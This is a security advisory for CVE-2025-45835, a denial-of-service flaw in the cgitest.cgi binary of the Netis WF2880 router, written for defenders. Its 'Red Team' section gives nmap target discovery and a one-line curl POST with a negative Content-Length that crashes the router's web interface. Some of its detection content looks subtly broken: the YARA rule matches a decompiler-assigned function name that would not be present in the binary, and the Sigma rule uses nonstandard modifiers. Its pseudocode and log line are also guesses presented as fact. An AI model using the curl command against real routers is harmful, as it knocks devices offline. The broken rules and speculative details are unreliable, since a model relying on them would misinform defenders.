CVE-2025-45835

Executive Summary

CVE-2025-45835 is a null pointer dereference vulnerability discovered in the Netis WF2880 router, specifically in firmware version v2.1.40207. The flaw resides in the FUN_004904c8 function within the cgitest.cgi binary. By controlling the CONTENT_LENGTH environment variable, an unauthenticated attacker can trigger a null pointer dereference, causing the CGI process to crash. This leads to a denial-of-service (DoS) condition, rendering the router's web interface and potentially other services unavailable. No patch is currently available from the vendor, and no public exploit code has been released. The vulnerability is classified as a low-complexity, network-based attack with no authentication required.

Supply Chain & Package Security

This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It affects a proprietary embedded device firmware.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating that no official CVSS vector has been assigned by NVD. Based on the vulnerability characteristics, a reasonable estimated vector would be:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network via HTTP requests to the CGI endpoint.
• Attack Complexity (AC): Low (L) – No special conditions are required; sending a crafted request is sufficient.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The crash affects only the vulnerable component.
• Confidentiality (C): None (N) – No data is exposed.
• Integrity (I): None (N) – No data is modified.
• Availability (A): High (H) – The crash leads to a denial of service.

Estimated CVSS:3.1 Score: 7.5 (High) – AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and can cause a persistent DoS until the device is manually rebooted.

Deep Dive & Mechanics

The vulnerability is a classic null pointer dereference in the cgitest.cgi CGI binary. The FUN_004904c8 function processes the CONTENT_LENGTH environment variable, which is set by the web server (e.g., lighttpd or similar) based on the Content-Length HTTP header. When a request is sent with a Content-Length value that is not properly validated (e.g., a negative number, zero, or a non-numeric string), the function attempts to dereference a pointer that becomes NULL, leading to a segmentation fault.

Root Cause: Lack of input validation on the CONTENT_LENGTH environment variable before it is used in memory operations. The function likely uses atoi() or similar to convert the string to an integer, then uses that value to allocate or access a buffer. If the conversion fails or returns an unexpected value, a pointer remains uninitialized or is set to NULL.

Attack Vector: An unauthenticated attacker sends an HTTP POST request to the /cgi-bin/cgitest.cgi endpoint with a malformed Content-Length header. For example:

POST /cgi-bin/cgitest.cgi HTTP/1.1
Host: <router_ip>
Content-Length: -1

The router's web server passes the CONTENT_LENGTH environment variable to the CGI script, which then crashes.

Impact: The CGI process crashes, causing the web interface to become unresponsive. Since the router's management interface is often critical for configuration and monitoring, this constitutes a denial of service. The device may need to be power-cycled to restore functionality.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable code snippet (reverse-engineered from the binary) would look similar to:

// Vulnerable pseudocode for FUN_004904c8
void FUN_004904c8() {
    char *content_length_str = getenv("CONTENT_LENGTH");
    int content_length = atoi(content_length_str); // No validation
    char *buffer = malloc(content_length); // If content_length is negative, malloc returns NULL
    // ... later code dereferences buffer without NULL check
    buffer[0] = 'A'; // NULL pointer dereference -> crash
}

A patched version would include input validation and NULL checks:

// Patched pseudocode
void FUN_004904c8() {
    char *content_length_str = getenv("CONTENT_LENGTH");
    if (content_length_str == NULL) {
        return; // or handle error
    }
    int content_length = atoi(content_length_str);
    if (content_length <= 0) {
        return; // reject invalid values
    }
    char *buffer = malloc(content_length);
    if (buffer == NULL) {
        return; // handle allocation failure
    }
    // safe to use buffer
    buffer[0] = 'A';
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Netis WF2880 router with firmware v2.1.40207.
• Network access to the router's management interface (typically on port 80 or 443).

Exploitation Steps:

1. Identify the target: Scan for Netis WF2880 routers using Shodan or Nmap.

   nmap -p 80,443 --script http-title <target_ip>
   

2. Send the malicious request:

   curl -X POST -H "Content-Length: -1" http://<target_ip>/cgi-bin/cgitest.cgi
   

3. Verify DoS: The router's web interface should become unresponsive. Attempt to access the login page:

   curl http://<target_ip>
   

   This should timeout or return an error.

Expected Outcome: The CGI process crashes, and the web interface is unavailable until the router is rebooted.

Blue Team

Detection & Response:

1. Monitor logs: Check router logs for crashes or segmentation faults. If syslog is enabled, look for entries like:

   cgitest.cgi[1234]: segfault at 0 ip 0x004904c8 sp 0x7fff...
   

2. Network monitoring: Detect anomalous HTTP requests with negative or non-numeric Content-Length headers.

3. Mitigation: If possible, block access to /cgi-bin/cgitest.cgi from untrusted networks using firewall rules or ACLs.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /cgi-bin/cgitest.cgi with a Content-Length header containing negative numbers, zero, or non-numeric values.
  • Repeated connection timeouts to the router's web interface.

• Host IOCs:

  • Router logs indicating a segmentation fault in cgitest.cgi.
  • Unresponsive web management interface.

• File IOCs:

  • The vulnerable binary /usr/bin/cgitest.cgi (or similar path) with MD5 hash (to be determined by firmware analysis).

Detection Engineering

YARA Rule

rule CVE_2025_45835_Netis_WF2880_Null_Pointer_Dereference {
    meta:
        description = "Detects the vulnerable cgitest.cgi binary from Netis WF2880 firmware v2.1.40207"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-45835"
    strings:
        $func_sig = "FUN_004904c8" ascii wide
        $content_length = "CONTENT_LENGTH" ascii wide
        $malloc = "malloc" ascii wide
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-45835 - Netis WF2880 Null Pointer Dereference DoS
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with malformed Content-Length headers targeting cgitest.cgi on Netis WF2880 routers.
author: Valters IT
date: 2025/04/10
tags:
    - attack.t1499
    - cve.2025.45835
logsource:
    category: webserver
    product: netis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/cgitest.cgi'
        cs-header-content-length|re: '^-?[0-9]+$'
        cs-header-content-length|lt: 1
    condition: selection
falsepositives:
    - Legitimate requests with Content-Length: 0 (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-45835 Netis WF2880 cgitest.cgi Null Pointer Dereference DoS"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/cgitest.cgi"; http_uri; content:"Content-Length"; http_header; pcre:"/Content-Length:\s*(-[0-9]+|0+)/Hi"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict access: Use firewall rules to limit access to the router's management interface (ports 80, 443) to trusted IP addresses only.
2. Disable CGI if possible: If the cgitest.cgi endpoint is not required, block it via the router's configuration or a reverse proxy.
3. Monitor for exploitation: Implement the detection rules above to identify potential attacks.

Long-term Actions:

1. Firmware update: Contact Netis support for a patched firmware version. If none is available, consider replacing the device with a more secure alternative.
2. Vendor disclosure: Report the vulnerability to Netis if not already done, urging them to release a patch.
3. Network segmentation: Place IoT devices like routers on a separate VLAN to limit the impact of a compromise.

Workaround: If the router supports it, disable the CGI interface entirely or replace the vulnerable binary with a dummy script that returns an error.

Valters IT